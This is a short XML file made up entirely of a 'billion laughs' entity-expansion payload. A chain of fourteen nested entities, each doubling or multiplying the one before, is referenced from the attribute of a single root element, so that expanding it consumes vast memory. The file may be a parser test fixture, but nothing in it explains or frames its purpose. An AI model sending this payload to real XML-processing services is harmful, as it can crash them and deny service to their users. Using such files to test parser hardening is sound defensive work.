1  <?xml version="1.0"?>
 2  <!DOCTYPE billion [
 3  <!ELEMENT billion (#PCDATA)>
 4  <!ENTITY laugh0 "ha">
 5  <!ENTITY laugh1 "&laugh0;&laugh0;">
 6  <!ENTITY laugh2 "&laugh1;&laugh1;">
 7  <!ENTITY laugh3 "&laugh2;&laugh2;">
 8  <!ENTITY laugh4 "&laugh3;&laugh3;">
 9  <!ENTITY laugh5 "&laugh4;&laugh4;">
10  <!ENTITY laugh6 "&laugh5;&laugh5;">
11  <!ENTITY laugh7 "&laugh6;&laugh6;">
12  <!ENTITY laugh8 "&laugh7;&laugh7;">
13  <!ENTITY laugh9 "&laugh8;&laugh8;">
14  <!ENTITY laugh10 "&laugh9;&laugh9;">
15  <!ENTITY laugh11
16  "&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;">
17  <!ENTITY laugh12
18  "&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;">
19  <!ENTITY laugh13
20  "&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;">
21  ]>
22  <billion location="&laugh13;">text</billion>
23